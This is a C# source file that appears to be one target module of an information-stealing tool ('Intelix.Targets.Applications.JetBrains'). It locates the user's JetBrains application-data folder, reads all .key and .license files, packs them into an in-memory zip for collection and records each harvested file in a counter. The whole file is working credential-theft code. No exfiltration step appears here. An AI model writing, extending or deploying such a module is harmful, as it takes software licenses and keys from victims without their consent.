using System;
using System.IO;
using System.Linq;
using System.Threading.Tasks;
using Intelix.Helper.Data;

namespace Intelix.Targets.Applications;

public class JetBrains : ITarget
{
	public void Collect(InMemoryZip zip, Counter counter)
	{
		string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "JetBrains");
		if (!Directory.Exists(path))
		{
			return;
		}
		string[] allowedExtensions = new string[2] { ".key", ".license" };
		Counter.CounterApplications counterApplications = new Counter.CounterApplications();
		counterApplications.Name = "JetBrains";
		Parallel.ForEach(Directory.GetDirectories(path), delegate(string apps)
		{
			Parallel.ForEach(Directory.GetFiles(apps), delegate(string file)
			{
				if (allowedExtensions.Contains(Path.GetExtension(file)))
				{
					string text = "JetBrains\\" + Path.GetFileName(apps) + "\\" + Path.GetFileName(file);
					zip.AddFile(text, File.ReadAllBytes(file));
					counterApplications.Files.Add(file + " => " + text);
				}
			});
		});
		if (counterApplications.Files.Count() > 0)
		{
			counterApplications.Files.Add("JetBrains\\");
			counter.Applications.Add(counterApplications);
		}
	}
}
